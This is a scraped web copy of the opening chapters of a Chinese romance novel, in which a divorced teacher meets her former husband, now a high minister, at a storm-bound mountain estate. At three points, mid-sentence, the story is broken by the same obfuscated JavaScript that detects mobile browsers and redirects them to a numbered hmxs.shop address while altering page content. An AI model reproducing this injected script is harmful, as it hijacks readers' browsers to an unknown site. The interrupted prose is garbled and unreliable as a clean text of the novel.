《和离后的第五年》 1. 重逢 01 《和离后的第五年》by放鹤山人 晋江文学城为唯一正版 禁止转载盗文必究 2024年11月09日 山中,夏雨如注。 “姑娘,里外都已打点妥当——” 窗外雨丝飞舞,错落拍打在叶采薇的面上,她听见身后婢女问鹂的话,微微一顿。 叶采薇回头,问鹂被她瞧了一眼,后面的话卡在喉咙。 是自己开口叫错了。 和离之后,叶采薇让问鹂改口称她“先生”,已经有五个年头。 五年来问鹂从未出错过一次,而就在方才,她看到了叶采薇的前夫容津岸。 整整五年未见,却意外在这座人迹罕至的山庄中重遇,问鹂也因此失了分寸。只是,她不知该不该向叶采薇说明此事。 与此同时,另一声“先生”自她身后起,叶采薇的目光也被吸引过去—— 是叶采薇在青莲书院的一名学生,青年,刚刚二十岁,尚未行冠礼。 他说自己急病初愈,想请叶采薇同他一道,向那位赠他灵药的康和县主当面致谢。 这次上山,是叶采薇带几名学生来采风。青年们虽未及冠,却是个个英姿勃发,手长脚长步履飞快,将她抛在后面整整两个时辰。 偏偏暴雨忽至,她和问鹂赶到这座山庄时,才听说其中一位突发急病,幸而得了康和县主馈赠,才保下性命。 学生受此大恩,当面言谢自是理所应当。 只是见到那位康和县主时,叶采薇生出了恍惚。 她的男学生同样如此。 这世上怎会有如此巧合的事?在这山中庄园萍水相逢又救他一命的县主,竟然和老师有几分肖似。 “倒也不必多谢。” 居于上座的康和县主当然也发觉到了,她一身绫罗,珠围翠绕,眉目斜飞着,睥睨男学生青稚未脱而难掩惊愕的脸。 她狡黠的笑容与叶采薇全然不似,而善良如叶采薇,绝不会这样回应旁人诚恳的谢辞: “其实,我是根本不愿意救你的。” 叶采薇听到这话不太舒服,而身后又传来脚步声。 褪去青涩的、男人的脚步声,让叶采薇呼吸一滞。 “是津岸哥哥劝我,说救人一命胜造七级浮屠。” 康和县主的话是说给师徒二人听的,但她的脸,却像是迎着阳光的向日葵,堪堪朝向进来的男人。 “就算是不知道外面这场暴雨何时能停、我们何时能脱困,就算从京城带来的稀世灵药只有一颗,我是陛下亲封的县主,对待自己的子民,不该如此吝啬。” “津岸哥哥……容大人,我说得对不对?”向日葵的花心朝男人拧出了水来,娇柔妩媚。 叶采薇的嘴唇在短短几句话里一点一点干涸,仿似半年不见雨水的荒漠。 心跳乍停的片刻,那个人已经走到了她的身前。 她抬头,撞进他漆黑的眼眸,深不见底的渊薮,嵚崎磊落的雪峰。容津岸的目光只停留了一息,便转到她身旁的男学生脸上。 “原、原来是,容、容大人……”男学生向来自恃口齿伶俐,这会儿竟期期艾艾。 不怪他控制不住声线颤抖,而是当他在急速搜索中反应过来,眼前这位容貌着实出众的男子为何许人也时,激动根本难以自持。 姓容、年轻有为、俊朗挺拔叫人移不开眼,除了容津岸,不可能再有第二个“容大人”。 容津岸,当今清流领袖、内阁最年轻的阁臣,以一介布衣之身由科举入仕,短短五年内平步青云、成为天子肱股,天下读书人,无一不将他视作楷模标范。 而此刻,外面暴雨如注,容津岸分明一言不发,男学生却竟然不争气地汗湿了后背。 这样的失态让康和县主得了微末的闲趣,她不在乎眼下微妙的尴尬,眉目斜飞,落于容津岸平静的俊容,感叹: “这可真是太有缘了。” “津岸哥哥,你劝我救他的时候,应当不知道他长得像你吧?” “不过,几分形似而已,脾性和风骨比起你来,可是差多了。” 金猊炉里香烟袅袅,将杯盏中的茶香掩盖大半。 是康和县主主动邀请叶采薇师徒留下来品茗的,倒没有为她自己的出言不逊致歉,而是说自己虚活了十六载,第一次见到女子作教书先生。 只是,这命好到与她有几分相似的先生,该如何称呼呢? “民妇姓姚。”叶采薇抢在自己的学生之前开口,言毕顺势用目光压下对方眼中一闪而过的错愕。 “哦,姚~先~生~”像是恍然大悟,尾音拉长如长缎,康和县主眼里的长缎有意无意将容津岸笼住。 容津岸好像“嗯”了一声,喜怒不辨,长指摩挲杯沿。 “民妇……既然姚先生如此自称,那必然已经是成过亲的了。” 康和县主再次将话题延伸,她为自己的见微知著得意,眼尾上挑,语气也上挑: “不知,姚先生你的夫君……” 虽然是长得有几分姿色,但既已嫁为人妇,不好好在家中相夫教子,出来抛头露面作甚? 更何况,就光是这一个男学生看她的眼神,就如此不清白,她天天和男学生打交道,岂不是…… 容津岸骨节分明的长指不知什么时候停下来的。 “他死了。”叶采薇接住对面的目光,一动未动。 “是五年前的事,亡夫不过凡夫俗子,也并未给民妇留下什么财产。” 自嘲的语意带笑,似乎对早逝的夫君没有半点怨怪。 “民妇是个俗人,要吃饭,要生活。好在出嫁前略读了些书,够在书院教学,混口饭吃。”叶采薇补充。 康和县主一听,心里头那点疙瘩,一下便舒坦了下去。 瞧这姚氏,还欲盖弥彰穿男装,拧着那张狐媚子脸,硬凹什么文人风骨,其实,从头到脚的穷酸气,熏的她头疼。 也就是天生克夫的穷苦命,背地里不知道跟几个学生玩多少花样。 幸好跟她只是有一点点像。 “五年,日子不短了。”一直沉默不语的容津岸突然说: “这位郎君早早撒手人寰,当年,想必极为不舍。” 清越的嗓音收住,他端起了茶盏。 粉青色的官窑胎壁极薄,衬得他手背的皮肤更加白。 喉结伴随他吞咽的动作而上下滚动,叶采薇只看了一眼,旋即垂眸。 有一回,她听说容津岸在国子监病倒,心急如焚,便女扮男装混入他的寝房,照顾他整日整夜。 那时候他的皮肤因为病痛而惨白。 他发着低烧,她为了保持他嘴唇的湿润,用指尖蘸着温水,一点一点涂上去。 他醒来时,她担忧的泪珠还挂在唇角,他抬手为她拂去,然后轻轻吻下来。 “薇薇,不要为我掉眼泪。” 她以为他会说“我舍不得”,但他只是亲吻她。 还有后来,她引着他早早做了那些事,无数个阒静又旖旎斑斓的黑夜,汗水被揉进极致的欢愉,容津岸点亮烛火,细细看他在她皮肤上留下的痕迹。 “薇薇,下次提醒我,轻一些。” ——就连那个时候,他都不会用“不舍”这样浓墨重彩的词汇。 与她和离后的第五年,他却轻描淡写地宣之于口。 是因为身边有了康和县主,他终于肯为佳人折腰了? 人横竖是会变的。 *** 无聊的品茗结束,带学生离开,叶采薇自己回房歇晌。 被问鹂叫醒时,窗外的雨还没有停,反而越下越大。 也不知他们要被困在这里多久。 “先生,康和县主在外面。”问鹂又来报。 今日的问鹂,经历了前所未有的心境起伏。 先是初到山庄时,她只远远瞥见容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730558|189647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 津岸一人。 那时候她欣喜若狂,心存幻想。 五年来,叶采薇从不提他哪怕半个字,决绝至极,既然今日这般巧遇,若是昔日的姑爷肯主动一些,破冰化水,也好玉成美事一桩。 谁知,时光荏苒,容津岸早已佳人在怀,在这山庄里同消夏暑。 而这位佳人不仅出身高贵、脾气不小,长得还同叶采薇有三分肖似…… 问鹂脑海里蹦出了“替身爱人”四个字,旋即觉得荒谬。 叶采薇自是没空琢磨问鹂为什么莫名其妙摇了摇头。 容津岸的新欢不请自来,光是在外面一站,她就不得不出面应付。 她又把重遇容津岸的点点滴滴仔细回忆一遍,不觉得自己哪里漏了陷,让几个不知内情的人看出端倪。 “快到晚膳时分,姚先生还在歇晌,青莲书院对老师的待遇,比我想象中好上不少。” 见她施施然来,康和县主的语调,难免又添了几分尖酸。 眼下只有她和她在,和善的伪装无须硬撑,褪去大半。 叶采薇自然听出了她言语的讥讽,懒得接招,直言: “民妇这趟上山匆忙,所携不过换洗衣衫,能喝上明前龙井这样的极品,还要多谢县主慷慨款待,若是县主关心那位学生的健康,民妇这就去叫他来。” 说着,就要向问鹂招手。 “我是专程来找姚先生的。” 康和县主瞧着自己花纹繁复的袖口,从中掏出蜀锦绣帕,得意从眸中溢出。 “明前龙井”这个名字,还是她在与这对师徒茶叙时,状似不经意提起的。 姚氏穷酸乡巴佬一个,别说尝过,应当连听也不曾听过的。 上等的明前龙井一年只得五斤,她家独得陛下荣宠,也才堪堪从禁中分得半斤。 一想到这样珍贵的茶被乡巴佬糟蹋了,康和县主心口又被堵得严严实实: “姚先生,你与容大人是旧识?” 这话却把叶采薇问住了。 哪里出了纰漏,被这县主发现,过来对她兴师问罪? 也许是她和容津岸那点点相似的口音,也许是她现在看上去实在是太穷了,而刚好,容津岸入仕前出身农门。 但她仅仅一霎的迟疑已让康和县主得了答案,只见这县主上身微微后仰,眉目舒展,一副尽在我手的正室姿态,语气却更加尖酸: “姚先生,我没有旁的意思。” “你也知道我年纪小,比津岸哥哥小了整整一轮,他有过往、故交旧友,十二年的时光,我缺席这件事,已成不可追。” “只不过呢,我与他毕竟即将结为夫妇,夫君的过往,妻子哪有不知情的道理?” 话已至此,叶采薇只能含笑: “恭喜县主与容大人,好事将近。” 她人还在站着,正要多说点好话结束这场无谓的对话,却又听对面说来: “姚氏你应当知道的吧,津岸哥哥从前其实成过亲。他那位前妻,是废太子同党、前太傅叶渚亭的独女,叫、叫,叶、叶……” 康和县主皱眉停下。 叶采薇紧绷的胸口缓了过来。 看来是她庸人自扰,与容津岸这一次不期重逢,两人谁都没有对曾经那样亲密的关系表露半点。 默契十足,就好像六七年前,他们也默契地从不在外表露爱侣的关系那样。 默契到,后来他们那样仓促地成亲,几乎所有人都以为,容津岸是为了对叶渚亭这位伯乐的知遇之恩投桃报李,才不得不娶她的。 “家父与容大人的父亲,同是徽州人士,因而民妇与容大人,从前且算旧识。” 说完两句真话,叶采薇停了一息: “只是,民妇很早就跟随家父离开故土,对容大人的事,知之甚少。” “那……”康和县主不疑有他,上身又倾了过来,手中巾帕攥紧: “姚先生对那位叶氏,了解多少?” 2. 醉酒 02 叶采薇忽然很想笑。 没有什么来由。 她看向康和县主: “叶氏是容大人的前妻,县主想多多了解她,问容大人便好了,民妇又怎么会知晓?” 康和县主前倾的上身僵住。 她原本以为,自己早已经轻松拿捏了眼前这个妇人,却不想一句反问,她就被问得哑口无言。 “姚先生说笑……”眼神一闪,攥着巾帕摸了摸鼻尖。 “津岸哥哥当然早就跟我坦白一切,我只是嘛,还余了些许好奇。” 叶采薇的容色柔和舒朗起来。 这是她教书第四年,手下的学生数量不多,脾性却千差万别,为了使教授事半功倍,她也好生下了一番工夫,掌握恩威并施之技。 面前这位康和县主,涉世不深,心高气傲,她只需要做个绝好的聆听者,不接招、不反驳,让其在反复的自我表达中不断认同“全天下本县主最对”的观点,就能快速打发。 “津岸哥哥说了,叶氏其人,长相平平,才华平平,品性……品性倒不是平平,是个极坏的。”康和县主轻咳。 “她的父亲叶渚亭原来风光无限,当世大儒、官历六部,又是津岸哥哥的恩师,那叶氏便倚仗这些,逼着津岸哥哥在废太子逆案爆发后娶她,苟活下来。” “这么看,确实是个极坏的。”叶采薇点头附和。 “是啊,京中贵女,哪一个不讨厌叶氏?”康和县主越说越激动,“叶氏行事相当招摇,把人得罪了个遍,也是津岸哥哥给她留了几分体面,没有把她休了,对外称,是与她和离。” 想起自己那封龙飞凤舞的和离书,叶采薇又点了点头,“原来其中有这么多曲折。” 然后不接话。 这下,康和县主陷入沉默,似乎忘记了自己此番过来,是为了打听更多关于叶氏的事,而不是一通嚷嚷。 “不过,不过嘛——” “县主所言,足以概括叶氏其人。”叶采薇适时地停顿,像是给了对方说话的余地,却又立刻自己补上: “既然叶氏如此不堪,容大人与她再无瓜葛,实乃大幸。” “而容大人对县主如实坦白,必然不会像寻常负心汉那样,将休掉的前妻贬得一文不值。” “容大人何许人,风姿卓绝世所罕见,哪里需要用贬低旁人来拔高自己?至于叶氏,民妇不知其人,既然她早已从容大人的生活消失,县主当然不必好奇。” 终于把康和县主送走,叶采薇看向立侍一旁的问鹂: “你怎么这副样子?” 问鹂的神色一言难尽,两只眼各自写了无数疑惑。 “那县主这样称呼姑爷……哦不,容大人,姑娘你……不觉得恶心吗?” 从前,问鹂的称呼只有“容公子”和“姑爷”这两种,毕竟容津岸是在与叶采薇成亲后才入的翰林。 那一句句“津岸哥哥”,可是让问鹂鸡皮疙瘩掉了一地。 “恶心?”叶采薇反笑,“人家夫妻的事,与我们外人何干?” 这世上除了她,本就有千人万人可以仰慕他贪恋他,她已经占了第一个位置,还想他的身边永远有她的影子吗? 她如果真是这样的人,当初就不会主动提出和离,并且强硬而彻底地,断掉和他所有联系的可能。 她要懂得知足。 “不在这县主和学生们面前表露身份,有我自己的考虑。”眼看问鹂的眉头越锁越紧,叶采薇摆了摆手: “得保守秘密,对我们大家都是好事。” “可是……”问鹂的眉头仍旧皱成一团。 “康和县主对我明目张胆诋毁,我却无动于衷?”叶采薇仿佛读懂了自己婢女的心事: “也许呢,她并没有诋毁我。” 她一顿,收起了眼神: “这些话,都是容津岸亲口说的。” 问鹂没有再接了,其实,她并不完全认同自家姑娘的想法。 容津岸是个极其低调且谨慎的人,不会允许身边的人这样大张旗鼓地表露关系。 至于那些诋毁前妻的话…… 万一又是误会呢? 毕竟叶采薇和容津岸的初识,就已经充满了误会。 那是嘉泰四十一年的八月,自全国各地官学推荐上来的士子云集京城,入国子监继续求学。 叶渚亭身居高位又乃当世大儒,叶府一时门庭若市。 那一天,士人如织,叶采薇不便抛头露面,便躲在了九折的落地围屏之后暗中观察。 秋高气爽,但花园里国子监新生们的高谈阔论,却令叶采薇无比焦躁——饶是见多识广如她,也第一次见识这么多半桶水聚在一起叮叮当当。 容津岸就是在她即将败兴离开时,出现在视野里的人。 隔着一层绦环板,只见身形颀长清瘦,墨发高束,眉眼深邃,皮肤和他的目光一样,极白也极冷。 与周围人的夸夸其谈相比,他显得那样不合群。 外表出众总是格外引人关注,旁人拿出早就准备好的文章、纷纷等待叶渚亭的品鉴,见容津岸一动不动,嘲讽当即叫嚣。 “原来昨晚憋了通宵都写不出来。” “两手空空来什么叶府?叶阁老贵人多忙,一寸光阴一寸金呐!” “惺惺作态,沽名钓誉,某生平最不齿与这种人为伍。” 置身讥潮诮海,容津岸像一只孤鹤,是叶渚亭放飞了他: “有时偶然兴之,反而能成佳作,我这边墨刚研好。” 叶采薇对容津岸挥斥方遒的手,印象极深。 干净修长,骨节分明,清晰凌厉。 这双手写出来的文章,扬葩振藻,瑰玮斐然,从起笔第一句开始,那些诋诽便一个一个闭上了嘴。 等到众人离去就餐,叶采薇走出围屏,迫不及待拿起他被叶渚亭赞不绝口的文章细读。 “华而不实,徒有其表。” 并非叶采薇有意唱反调,只是她一向主张为文鞭辟入里、简明扼要,容津岸的文章令她失望。 谁知中途折返寻物的一名士子听见此言,转头就添油加醋,向就餐的众人大肆宣扬: “叶大姑娘说,容津岸的文章看起来唬人,实际草包点心,狗屁不通!” 一语双关,否定其文,也否定其人。 其实叶采薇在当时并不知晓这些事,因为她转头就满心扑在了为自己终身大事筹谋上,要向皇帝退婚。 而一直到现在,八年过去,她也仍不觉得当年对容津岸文章的评价,有任何问题。 “下个月就是秋闱,你们务必切记,文章要提纲挈领,不可空有华辞。” 山中的暴雨仍未停歇,师徒几人围炉夜谈。叶采薇的酒品很不好,五年来自觉滴酒不沾,今晚却破了戒。 这几个学生,每一个她都手把手地教了两年多。今晚他们全都起哄为她斟酒,感谢她的悉心栽培,她也觉得不该扫他们的兴。 话题飞来绕去,最终落回到即将到来的科举上。 “我、我时常想,以先生力透纸背的才华,若先生是个男子,早早由科举入仕,所居所成,断不会比任何当朝大员差。”有学生借着酒劲吐露真言。 “是啊,先生的诗文,佳作无数,有不少,我还能倒背如流呢。”另一人附和。 这两人说完就双双倒了下去,和先前就醉倒的其他人,乱七八糟叠在一起。 叶采薇将杯中酒一饮而尽。 “先生,先生。”她身旁仅余的学生叫住她。 此人名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730559|189647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫佟归鹤,正是今日突发急病、又与叶采薇一起见了容津岸和康和县主的那位。 “容津岸容大人的文章,学生也有幸读过。”他重新绕回了叶采薇最初的嘱咐上。 “嗯?”叶采薇眼含薄醉。 “他的文章,靡丽穷奇,铺锦列绣……” 相比于其他人醉得不省人事,佟归鹤只是面颊发红,口齿仍旧清晰,条理明确: “嘉泰四十三年、四十四年,他连中会元、解元,又在殿试里拿下探花。先生若说,追求凤采鸾章是不对的,那么,他、他又是凭何高中?” 叶采薇“嗤”地笑了出来。 凭什么,凭他的真才实学啊。 和他同窗两年多,她最了解他的学问。 容津岸的厉害之处,在于他不仅把文辞写得富丽堂皇,而且内容还极其深刻,见地独到。 连她都不得不服气。 “凭他那张脸,凭他那手字。” 叶采薇斩钉截铁,说完就把脸枕在了手臂上,视线被酒意模糊。 只剩下了佟归鹤,他反复品咂着老师的这句话,啧啧: “我、我的字不差,我的脸……我的脸和他还有几分相像呢!” 到了保和殿上,他肯定能多占点便宜。 然后又回过味来: “先生,你见过容大人亲笔?他、他惯写哪种书道?” 叶采薇头脑昏沉。 容津岸用长指蘸着她的汁液,在她冰凉的后背上写字时,用的是哪种书道? 她那时候只顾着和他打赌、赌她能一字不落说出他写的是什么,全神贯注感受,哪里晓得他用的哪种书道? 当然最后她赌赢了,他也愿赌服输用唇舌把那些字清理干净,她还管他用的哪种书道做什么? “你、你不要学他……” “他这个人,表里不一,最会装腔作势……” 陷入沉睡前,叶采薇嘟囔着,对佟归鹤答非所问。 而半醉的佟归鹤已经听不进自己的老师说了什么。 轩外雨声大作,将他身侧同窗们的细微鼾声尽数淹没。 他的老师在他斜侧睡着了。 今日他才第一次知道,老师原本姓“姚”,还曾经成过亲。 她这般才华横溢,又貌美不可方物,她那位夫君何其有幸,可以名正言顺拥有她? 但也许,那个人为此耗尽了一生的运气,所以他死了。 佟归鹤想到这里,觉得自己很不地道。 他深深看着自己老师的醉态。 娇靥因为醺然泛起微微酡红,樱唇乌鬓,眉目如画,似惊鸿出水,若神女临凡。 他对她,是君子好逑的倾慕。 不知那份倾慕是自何时起的。 也许是初见时她眼底的沥沥清泉,也许是她对他课业中低级错误不留情面的批评,也许是她一贯沉肃面容、却偶尔因为他们绽放的笑。 总之,等到佟归鹤反应过来时,他已经深陷。 他挺直了脊背,向他倾慕的老师靠过去。 咫尺距离,即使醉眼朦胧,他也能看清她面颊上细细的绒毛。 还有扇子一样浓密纤长的羽睫,在她眼下,投出一片阴影。 若是吻上去,老师会醒吗? 可是他管不了那么多了。 四下无人,他可能只有这一次机会。 ——然而眼前,却突然出现了一双清晰凌厉的大手。 阻拦了他的不轨。 佟归鹤眯着眼,视线上移,头颅越来越沉。 “叶先生没有教过你们,我才是她的夫君吗?” 男人峨冠玄袍,眸间凛冽,居高临下地睥睨。 是……容津岸。 他怎么会出现在这里? 3. 擅闯 03 容津岸…… 他怎么会出现在这里? 佟归鹤脑中的疑问不止这一个。 酒意和突然来临的男人使他头脑愈发混沌,又是仰视,他的舌头不由自主打结: “叶、叶先生?” “你?” “夫君?” 这都是什么跟什么? 奈何此时自己笼罩在天子近臣黑压压的身影里,佟归鹤没有胆量表达他强烈的不满。 这容大人不去陪他的康和县主,跑到这儿来做什么? 佟归鹤乱七八糟地想着。 哦,先生长得与康和县主有些相像。 不不,先生可要美多了!碾压式貌美! ……难道,这容大人见色起意,要跟他硬抢? 是,姓容的是权势熏天,强抢民女不算什么,可、可…… 清流领袖,不是下.流领袖! “容大人,你可是醉了?”耳边传来第三个声音,是问鹂姑娘。 佟归鹤和容津岸一齐看过去。 问鹂匆匆赶到时,刚好看见容津岸阻止佟归鹤那一幕。 情敌对狙? 叶采薇已然醉倒,问鹂必须要保护自家姑娘。 她硬着头皮,继续对容津岸正色道: “奴婢过来时,那边县主的人,正在到处寻你呢。” 容津岸的神色晦暗不明。 “我家先生姓姚,她也已丧夫多年。”问鹂一直谨记着叶采薇的叮嘱,不可以对外暴露他们的关系,只用一句话,便否定了容津岸对佟归鹤所有质问的底细。 “夜色深了,奴婢熬了醒酒汤,佟公子要喝一碗吗?”又转向佟归鹤。 佟归鹤扫了扫身边烂醉如泥的同窗,突然脚下一软,“咚”地一声,加入了他们。 *** 宿醉醒来,叶采薇头很痛。 但她甫一睁眼,又察觉房内气氛不对。 有熟悉的、男人的气味。 她坐起来,看到容津岸在窗边。 暴雨仍旧未停,山庄这一侧的厢房相对简陋,窗沿漏风,沾了山泥的雨水噗哒噗哒地往里渗,容津岸身上的长衫是浣花锦的材质,被这样浸湿大片,饕餮暗纹却仍旧狰狞。 晦暗不明的光线在他眸中反射出斑斓,千年不倒的松柏,从来在狂风骤雨中矗立。 他望着她。 不知这人何时来的,已经这样望了她多久,叶采薇检查衣衫,没有发现多余的痕迹。 余光瞥到床尾处,那里还挂着她昨晚换下的里衣和亵裤,不断提醒她,容津岸是个胆大包天的擅闯者。 她的心跳又加快了。 “你怎么在这里?”她决定先发制人。 “证明我还没死。” 倾盆的暴雨使得室内光线昏暗,大风横七竖八,把那人身后的窗户吹得晃来荡去,发出了远远高过雨声的响动。 容津岸的薄唇动过,被这些杂音覆盖,不知道回答了她什么。 叶采薇懒得与他纠缠,伸手将床尾的衣裤拽下,胡乱藏起来,然后准备出门找问鹂。 问鹂跟了她已逾二十载,聪敏可靠,怎么会让和离五年的前夫进她的房间? “薇薇。”这一次,容津岸的声音十分清晰。 叶采薇还在头疼,更疼了。 说不清是因为宿醉,还是因为那个有五年没被任何人叫过的昵称。 她要庆幸他没有说那两个字,否则她会忍不住怀疑,过去的五年,都只是她的一场梦。 眼下的情景,与从前太像了。 她主动跑去找他,在他的注视下,一件一件除褪衣衫。 她受不了他的眼神。 呼吸忽轻忽重,想要声息平稳,却总是徒劳。 而他衣冠楚楚,只是衣摆凌乱。 房门被骤然推开的动静打断叶采薇濒临绝境的思绪,问鹂钻了半个身子,轻手轻脚地进来。 看样子,是以为她还在熟睡,来看看她。 她差点就错怪问鹂了。 问鹂先是看到了窗边的男人,容津岸一动不动,被雨水打湿了半身,眉眼冷峻。 这瞬间,让问鹂恨不得自己被外面的雷电一头劈死了事。 容津岸这是在做什么?他有没有身为即将再为人夫的自觉? 即使他是……他也不能这样! 先是昨晚上莫名其妙跑过来,差点在佟归鹤面前说漏嘴;这会儿天才刚刚亮,他又趁自己离开房门的空隙,偷偷溜进姑娘的卧房。 他属猪,不是属狗! “外面,还有没有别人?”此时的叶采薇立刻道: “问鹂,趁着没被看到,请容大人出去。” “好。”问鹂提心吊胆,刚要动作,又被容津岸的眼神止住。 她可太难了。 “既然容大人如此冥顽不灵,就只好去请康和县主过来一趟了。” 叶采薇向问鹂再次投来目光。 容津岸登时提高了音量:“叶采薇,五年不见,你怎么变成这样?” 窗户快要被外面的狂风吹散架,问鹂觉得自己也快要散架了,她阖上房门,溜到窗边去,连忙将窗户关好。 “这样是哪样?”风声雨声被阻隔在外,叶采薇的声音也因此放大了干哑。 容津岸沉默了一息。 “你不要名声了吗?”他说。 问鹂心头打鼓,又悄悄溜到门口,出去了。 这两人绝不会旧情复燃,只是剑拔弩张的气氛下,不知道要说出多少可怕的话,她必须在门外守着,保证不被任何人听见。 “你和那县主吵架了?”叶采薇简直觉得莫名其妙。 是他不顾礼数擅闯她的房间,现在又高高在上地指责她不要名声。 “惹恼了人就去哄,跑到我这里来发什么疯?”叶采薇瞪圆了眼睛,“你以为我还像原来那样,随时随地对你发.情吗?” 话出口她就愣住了。 倒不是因为放浪的言语而羞赧,她在他面前什么放浪的话没说过,只是时过境迁,战斗刚刚开始,她却先自己贬低自己,气势就输了好大一截。 她要赢,她必须要为自己出口恶气,谁让他居然在那个小小县主的面前,说了她那么多坏话! “怎么,你想发?”果然,容津岸迅速抓住关键。 “呸!”叶采薇的视线在他身上来来回回,满眼都是嫌弃: “今时不同往日,我审美提高了,不是什么脏的臭的都吃得下。” “你呢,你已经二十八了,上了年纪,”她伶牙俐齿,乘胜追击,“哪里比得上年轻人,身体强壮,精力充沛,折腾一晚上都不带喘的。” 容津岸苍白的皮肤因为她的话迅速泛起了红。 “嘴长在脸上,是用来说话、用来哄人的,至于旁的用途……”叶采薇说完停了一下。 尽管那康和县主对她一点都不客气,她也断不能在人家未婚夫面前诋毁对方的清誉。 不是人人都像她一样,对那种事热衷又上瘾,以至于婚前根本忍不住。 “五年,五年不见,容津岸,你不会一成不变吧?”她用他的原话来继续攻击他。 “怎么,还是不懂怎么哄人?” 容津岸一瞬不瞬盯着她。 这样的反应告诉她,果真被她说中了。 这个男人不思进取,至今白长一张嘴,根本不会甜言蜜语。 但…… 这件事归根结底,她要负上不小的责任。 当年是她死皮赖脸缠上他的,哪里需要他来哄,一大半的话都被她说了。 即使他真的惹恼了她,她一个人生半天闷气,也就自己想通了。 也是容津岸运气不好,在他情窦初开、正是该好好学习的时候,遇到她这么个不按常理出牌的人。 怪她,怪她把他惯坏了。 叶采薇自嘲着,深吸了一口气: “这样吧,昨天我说了,我现在是个老师。” “哄人的本事,要我教你,可以,但你得求我。” 芙蓉面上难得摆出了好整以暇的姿态。 容津岸怒极反笑:“你当着我的面说我已经死了,我不追究你胡言乱语就罢,反而还要来求你?” 叶采薇一愣。 原来他这是后发制人,隔了大半天,来找她兴师问罪的。 “当初说好的,死生不复相见,”她缓缓咽下口中的津液,“这跟死了有什么区别吗?我说我丧夫,你也可以说你丧妻呀,反正你们所有人,都巴不得我死了。” “叶采薇,你的酒到底醒了没有?”容津岸的拳头不知什么时候捏紧了,一副她简直不可理喻的模样,“我真是后悔,一大清早就来看你。” “谁要你看了?是我求你看的吗?” 话说到这里,叶采薇刚刚才平复的心绪又一次波澜乍起,她嗔怒: “我们现在是什么关系,你摸着你的良心,说不出来吗?” “还是清流领袖……整整五年了,你的道德水平,又下降了一个台阶?容尚书,容阁老,”她刻意强调对方的身份,“你擅闯民妇卧房,若我铁了心闹大——” “薇薇,阿娘她走了。”容津岸忽然说。 叶采薇看过去。 “病入膏肓,药石无灵,已经走了一个多月。”他解释,“这一次到池州,是丁忧而来。” 叶采薇脑海里浮现许多事,一时间忘记反问,丁忧明明该回徽州,怎么来了池州。 下山猛虎收起了自己的利爪和獠牙。 风雨被关在门窗之外,室内沉闷,容津岸想到自己离开京城南下时,忽然决定改道来池州的情景。 “容津岸。”她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730560|189647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫他的名字。 他向她投去目光。 “和离的时候说过的话,到现在仍旧作数的。”她顿了顿,“这次,这座山上,是碰巧遇见,不会再有下一次。不会。” 容津岸面上的皮肤又渐渐恢复了苍白。 “如果着实不巧,还有下一次,希望你也和这次一样,不要对任何人透露我们的关系。”她接着说。 “容阁老乃是天子肱股、位极人臣,这点信用,还是要讲的吧?” 所幸容津岸离开时,没有被任何人发现。 问鹂把他顺利送走,回来,还在犹豫要不要把昨晚发生的事告诉自家姑娘。 “你都听到了?”叶采薇却先问她。 问鹂点了点头。 她出去是为了防着外面,实则耳朵贴在门上,掌握着房内的动静。 “你说,我的话是不是太过分了?” 问鹂看向自家姑娘。 张牙舞爪的猛虎经历一番恶斗,眼下眉目低垂,青丝微乱,眼眶不知道是什么时候红的,瞳孔里星色微闪,却分明是脆弱不堪的模样。 问鹂没有回答她的问题,只是走向了床边。 “他的阿娘也走了。”叶采薇说着,抱住了问鹂的腰,把头靠向她的胸口。 “这下,他和我一样,都成了无父无母的孤儿。” 问鹂任由叶采薇将自己越抱越紧。 其实,容津岸的母亲游秀玉,不算一个很好相处的人。 但她家姑娘总说,游氏青年时经历坎坷、丈夫和长子又相继去世,游氏又独自一人在贫苦中把幼子容津岸拉扯成才,若换作是她,必然做不到这样。 是以婆媳间诸多龃龉,叶采薇都不去计较。 想到此处,问鹂忽然察觉不对劲: “我朝以孝治天下,丁忧乃是大事,以容大人与游娘子的母子情谊,容大人必得为游娘子守孝三年。” 叶采薇仍旧抱着她。 “三年孝期,不得婚娶、诞育子嗣,可是昨日那康和县主却说,她与容大人即将结为夫妇……到底谁在说谎?”问鹂皱着眉头。 *** 暴雨在午后突然停了,两名学生自发出了山庄检查一番,回报说道路湿滑泥泞,但硬要下山,也不是不可以。 叶采薇决定立刻动身。 佟归鹤听来,暗暗遗憾。 其实他对昨晚的记忆很浅,只记得先生即使喝醉,也是千叮万嘱,要他们为文重质轻表。 而之后的事,他摸着后脑勺嗑出来的大包,怎么也想不起来。 与先生这样疏懒肆意的清谈,不知道下山后还有没有机会。 